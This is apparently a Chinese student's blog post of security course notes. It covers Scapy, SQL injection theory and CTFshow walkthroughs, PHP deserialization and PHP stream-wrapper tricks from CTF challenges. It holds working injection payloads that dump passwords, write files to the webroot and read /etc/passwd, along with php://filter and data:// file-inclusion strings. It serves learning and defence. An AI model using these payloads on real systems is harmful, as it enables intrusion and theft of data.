网络安全技术

信息收集

这次是信息收集


Langchain框架

这次是Langchain框架


端口扫描实验

端口扫描实验

python的Scapy库,一个交互式数据包处理框架:
支持:

  • 构造/解析任意协议层数据包
  • 发送与接收(主动探测)
  • 嗅探与过滤(被动监听)
  • 扫描、指纹识别、Traceroute、攻击模拟、模糊测试

核心概念

  • “层”对象:Ether()/IP()/TCP()/UDP()/DNS()/Raw()等可直接用/叠加
  • /重载:表示“封装”关系:IP()/TCP()/Raw(b”hello”)
  • 字段自动填充:
  • 发送/接收簇:
  • send()/sendp():不等待响应
  • sr()/srl():发送并收集响应
  • sniff():监听
  • 匹配/过滤:BPF过滤器
  • 解剖:pkt.show(),ls(TCP),hexdump(pkt),直接索引pkt[IP].src

SQL注入

SQL注入原理及注入基础

SQL注入原理及注入基础。

SQL

引入

在计算机中存储数据,不仅要考虑如何将数据结构化地存储,更高效地利存储空间,还要考虑如何快速增、删、改、查,因此,SQL应运而生。

SQL(Structured Query Language)是一种特殊目的的编程语言,用于管理和操作关系数据库系统。它允许用户定义、查询、更新和管理数据库中的数据。SQL 是大多数数据库系统的标准语言,包括 MySQL、PostgreSQL、SQLite、Oracle、SQL Server 等。
也就是说,MySQL是数据库软件,而SQL是使用这类软件的一种通用编程语言。

SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//创建表
CREATE TABLE Employees (
EmployeeID int,
LastName varchar(255),
FirstName varchar(255),
Position varchar(100)
);
//插入数据
INSERT INTO Employees (EmployeeID, LastName, FirstName, Position)
VALUES (1, 'Smith', 'John', 'Software Engineer');
//查询数据
SELECT * FROM Employees;
或者
SELECT FirstName, LastName FROM Employees WHERE Position = 'Software Engineer';

//更新数据
UPDATE Employees SET Position = 'Senior Software Engineer' WHERE EmployeeID = 1;
//删除数据
DELETE FROM Employees WHERE EmployeeID = 1;
//创建索引
CREATE INDEX idx_lastname ON Employees(LastName);

实际编程中的SQL

在实际编程中,通过创建与数据库管理软件的接口,实现对数据库的管理。由此,出现了SQL注入这样的漏洞:
例如这样的代码:

1
$sql = "select username,password from user where  id = '.$_GET['id'].';";

通过改变用GET方式传递的参数,使得单引号提前闭合,再将后边的内容注释掉,就可以实现一条完整的SQL语句,而这次查询的内容却可以被客户端控制。

例如,id=1时,查询结果正常,返回一条结果。
而id=1’ or 1=1 –+时,返回了所有数据,这时的查询语句变成了:

1
2
3
$sql = "select username,password from user where  id = 1 or 1=1;"
即
$sql = "select username,password from user where 所有数据"

通过了解数据库的结构,可以在数据库中查到所需的数据。
这里通过Navicat Premium的图形界面,展示一个标准的数据库的结构:

image.png

MySQL一经创建,就存在了information_schema、mysql、performance_schema、sys这几个库,类似默认文件,它们存储着整个数据库所有的重要信息,库名、表名、列名等等,SQL注入通常从这里下手,根据得到的信息不断深入,锁定所需的信息位置,最后获取数据。
image1.png
image2.png

SQL注入

典型查找流程:爆库名-爆表名-爆字段名(列名)-查询

1
2
3
4
5
6
7
8
9
10
1' or 1=1 union select 1,2,database()--+

1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

1' or 1=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+

-1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web '--+

1' or 1=1 union select 1,2,group_concat(password) from ctfshow_user2--+


无过滤注入

SQL无过滤注入CTFshow171-175

1
2
3
4
5
6
7
8
1' or 1=1 union select 1,database() --+寻找当前库名
1' or 1=1 union select group_concat(schema_name) from information_schema.schemata--+寻找所有库名
1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+寻找表名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web '--+寻找列名

-1' union select 1,2,group_concat(password) from ctfshow_user2--+寻找flag

注意:

  • group_concat()将查询结果打包在一起返回,便于观察
  • –+表示将之后的内容注释掉,以及其他一些方式注释掉之后内容
  • 使用union select需要让前边语句结果为假(-1’),或者添加’1=1’

例题:

CTFShow174:

alt text

CTFShow175:

‘ union select username, password from ctfshow_user5 into outfile ‘/var/www/html/flag.txt’ –+


有过滤注入

SQL无过滤注入CTFshow176-182

过滤位置

alt text
这里过滤的不是整条语句的内容,而是由用户传入的参数部分

回顾-基本查找流程

Union Select字段个数->库名->表名->列名->查找
字段个数枚举找出或使用order by
库名,列名,表名是在information_schema中找
目标数据是在目标库中找
注意这里的group_concat操作,以及语句的嵌套,无新意,提高一点点查找效率

1
2
3
4
5
6
7
1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+

-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+

-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 %23

-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+

题目顺序总结

  • 大写过滤
  • 空格过滤
  • /**/过滤
  • %0a过滤
  • %0b过滤
  • %09过滤
  • %23过滤
  • %0c过滤
  • %0e过滤

绕过方法

通解:围绕万能密码:’or 1=1+注释符 的各种变体展开
‘or(1=1)–%0c
‘or’1’=’1’–%0c
两种基本通用。

绕过思路

关于注释符

–注释

定义:在SQL语言中,使用“–”符号开始的行内注释。
特点:
注释内容从“–”开始到行尾结束。
需要在“–”后紧跟一个空格或制表符等。

#注释

定义:使用#符号开始的单行注释。
特点:
后面的所有内容直到行尾都被视为注释。

关于url编码

SQL注入过程是会经过URL编码的,****因此,#注释和–注释的注入方法是有区别的,
区别在于#需要经过url编码为%23,**–注释后边紧跟的字符也需要经过url编码。**

关于优先级

表格省,划重点-AND > OR


SQL注入理论

《SQL注入攻击与防御》Chap1

SQL注入综述

SQL注入是影响企业运营最具破坏性的漏洞之一,它会泄露保存在应用程序数据库中的敏感信息。
定义:应用程序在向后台数据传递SQL查询时,如果为攻击者提供了影响改查询的能力,就会引发SQL注入。
外延:不只是一种会影响Web应用的漏洞,对于任何不可信源获取输入的代码来说,如果使用该输入来构造动态SQL语句,就很可能会遭到攻击。
典型SQL注入-服务器端的数据库,外延-JS服务器端,Android平台

历史:1998年,在一次报告中首次进入公众视野,自此SQL注入的防范成为了一个重要的安全研究方向。

前置:

Web应用通用简单构建方式:

不管是什么语言编写的Web应用,有一点相同;它们的交互性由数据库驱动。

  • 数据库驱动的Web应用通常包括三层:
  • 表示层—-Web浏览器
  • 逻辑层—-PHP、.NET、ASP&……
  • 存储层—- MYSQL、Oracle等数据库管理系统

    三层架构中最基本的一条规则:表示层不与数据层通信
    这个过程是如何在代码中实现?书上给出了一段代码:
  • 这段PHP代码简明展现了交互过程,即逻辑层代码构造SQL语句与存储层进行数据交接,再把数据变成好看的页面展示在浏览器
  • 值得指出的是,实际开发中,mysql_query()早已弃用,而这种把SQL语句直接赋值给变量的做法也非常少见(要查的内容被写死),更常见的应用是构造查询类(Class),使用代码拼接出sql语句,进而实现链式查询(框架的实现原理)
  • 这里用到了计算机科学中常用的方法,抽象,构建一个抽象层,用同样的办法(类)应对各种不同的实际情况,大大提高了效率

注入成因:

  • 如果Web应用开发人员无法确保在将从Web表单,cookie及输入参数等收到的值传递给SQL查询之前以及对其进行验证,通常会出现SQL注入漏洞。
  • 如果攻击者能够控制发送给SQL查询的输入,并且能够操纵该输入并将其解析为代码而非数据,那么攻击者很可能有能力在后台数据库执行代> 码。

上述成因恰好印证了在CTF sql注入的实际应用:时间盲注、布尔盲注、联合查询盲注等等,都是在寻找各种办法操纵输入,让其变得可执行,可观测。

构造动态字符串

开发人员在运行过程中需要根据不同的查询标准来决定提取什么字段,或者根据不同条件来选择不同表,动态构造SQL语句非常有用。
动态构造举例:

转义字符处理不当

单引号被提前闭合,最常见的注入题目
单引号不是唯一的转义字符,因数据库管理软件不同而不同,因此熟悉数据库各种特性非常重要

类型处理不当

Web开发人员的思维模式:单引号字符是字符串的分隔符,还会被当作代码与数据的分隔线,但是,处理数字数据时,不需要使用单引号,否则数据也被当作了字符串。
看条语句:

1
$SQL = "SELECT * FROM table WHERE field = $_GET["userid"]"

!!!攻击者的输入直接被解析成了SQL语法,攻击者没必要使用单引号字符来转义查询,这时候过滤就失效了。
想到了CTFShow无过滤注入的最后一题,如果用户拥有FILE权限(一种管理员权限,root用户默认有),
MySQL的内置命令:select into outfile,直接创建了系统文件并进行写操作,逆天。
select LOAD_FILE(‘/etc/passwd’)

查询语句组装不当

开发者想好要查的东西(有应用接口产生的get参数)被替换了。

错误处理不当

出错了,并告诉怎么错。为攻击者提供了重要攻击线索

多个提交处理不当

大型Web开发的问题,有些开发人员严格对输入进行了验证,有些却不然,很难保证项目中每个人都遵循相同的标准。总会出现漏网之鱼

不安全的数据库配置

  • 理想情况下,应用应该使用不同数据库用户来执行SQL命令,类似操作系统的权限控制,即使攻击者成功将代码注入,为其分配的权限也是最低的,重要的数据都没有查看权限。
  • 实际情况是多数应用没有实现像操作系统那样很好的权限分离,因此攻击者可以访问到数据库中的所有数据,甚至在数据库间跳转
  • 实际情况还有就是开发人员在写代码时通常使用某个内置的权限账户来连接数据库,功能强大的内置用户可以执行很多与程序需求无关的操作。
  • 要实现上述目标,攻击者首先需要了解可以获取哪些附加内容、数据库有哪些、字段有什么,这就需要访问数据库的元数据-数据库内部包含的数据。
    这也就解释了SQL注入的第一步总是在查INFORMATION_SCHEMA这个虚拟数据库,因为元数据都在这里。

小结:

Q&A:

Q:找到一个网站然后对其注入单引号(‘),会被起诉吗?
A:会,这属于未授权的渗透测试行为,简称黑客行为,受法律制裁。

Q:是否可以认为禁止输入单引号,就可以避免SQL注入?
A:否,很多方法可对单引号进行编码绕过,且单引号不是唯一可以用于注入的字符

Q:如何在开发中避免出现SQL注入漏洞?
A:使用多种语言也不可避免,只要参数未经验证。而参数化查询和绑定变量是很好的办法

PS:本文中提到的参数化查询,绑定变量,链式查询和构造查询类等内容,详细见php开发部分笔记。

php安全

php反序列化

php反序列化原理及注入基础。

序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命是随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时再用unserialize()反序列化为对象。

序列化举例

数组:
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}
对象:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

这部分内容适宜搭建合适的php运行和调试环境学习:

环境推荐:小皮面板+sublimetext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!-- 
//序列化:将PHP对象压缩并按照一定格式转换成字符串的过程
//反序列化:从字符串转换回PHP对象的过程

//目的:为了方便PHP对象的传输和存储 -->
<?php
class test
{
private $flag = 'Inactive';
protected $test = "test";
public $test1 = "test1";

public function set_flag($flag)
{
$this->flag = $flag;

}
public function get_flag()
{
return $this->flag;
}
}
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
echo $data;
echo '<hr>';
#O:4:"test":3:{s:10:"testflag";s:6:"Active";s:7:"*test";s:4:"test";s:5:"test1";s:5:"test1";}
echo 'aaa';
?>

//unserialize()接收的参数用户可控,传入构造的字符串,实现攻击
//只序列化属性,不序列化方法
//寻找合适的能够被控制的属性,利用本身存在的方法

<!--只要在魔术方法中存在能利用的函数
对这个对象的属性做特殊的操控
进而影响这些函数的调用逻辑
1>__construct()
2>__sleep()
3>__wakeup()
4>__destruct()
5>__toString()把对象当作字符串使用时
6>__invoke()把对象当函数使用时
7>__call()调用对象不存在的方法的时候
-->

php伪协议

php伪协议整理。

1
2
3
4
5
6
7
8
9
10
11
12
13
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
-----------------------php支持的伪协议-------------------------------------------------------

PHP的伪协议提供了一种灵活且强大的方式来访问和操作各种类型的资源。通过熟练使用这些伪协议,可以在PHP中实现更多高级和有趣的功能,提升开发效率和应用的功能性。无论是处理网络资源,还是进行高效的数据流操作,了解并掌握PHP的伪协议都将是宝贵的技能之一。

条件:

  • allow_url_fopen:off/on
  • allow_url_include :off
  • php://input
  • php://stdin
  • php://memory
  • php://temp

需要allow_url_include:on

php://

php://filter(用于读取)

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤使用。

=>是一个中间件,在读入或写入数据的时候对数据进行处理后输出

php:filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。

所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

协议参数:

名称 描述
resource=<要过滤的数据流> 这个参数是必须的,它指定了要过滤的数据流
1
2
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

而使用的convert.base64-encode,就是一种过滤器。

php://input(用于执行)

可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。

data://协议

条件:

  • allow_url_fopen:on
  • allow_url_include :on

数据流封装器,以传递相应格式的数据,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
data://text/plain,
data://text/plain;base64,

file://协议

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

http://&https://协议

条件:

  • allow_url_fopen:on
  • allow_url_include :on
  • 作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

  • 用法:

    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com
    

phar://协议

phar://协议类似zip://,同样可以访问zip 格式压缩包内容。

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

实例:

2024MoeCTF-ImageCloud前置

alt text
看到url?=,这是一个典型的URL重定向(URL Redirection)漏洞,推测出题人在考察伪协议。
结合题目描述,考虑file://,直接读取本地文件,获取flag。

2024BaseCTF-Aura酱的礼物

alt text
第一个判断,需要把一个文件当作字符串读入,读入后的字符串等于”Aura”
想到data://,两种方法:
data://text/plain,Aura
data://text/plain;base64,QXVyYQ==

第二个判断,要求页面开头为http://jasmineaura.github.io
可以利用 @ 来进行隔断, 将 @ 前面的内容当做用户名,后面变成了需要转到的地址(SSRF漏洞)。

第三个的话是一个 include 点,flag在php文件的注释部分,使用data协议或其他会让flag.php被执行,无法查看注释。
这时就需要使用php://filter:
php://filter/convert.base64-encode/resource=flag.php


网络安全技术
https://47.108.189.123/2025/09/23/课程心得/网络安全技术/
Author
Dong
Posted on
September 23, 2025
Licensed under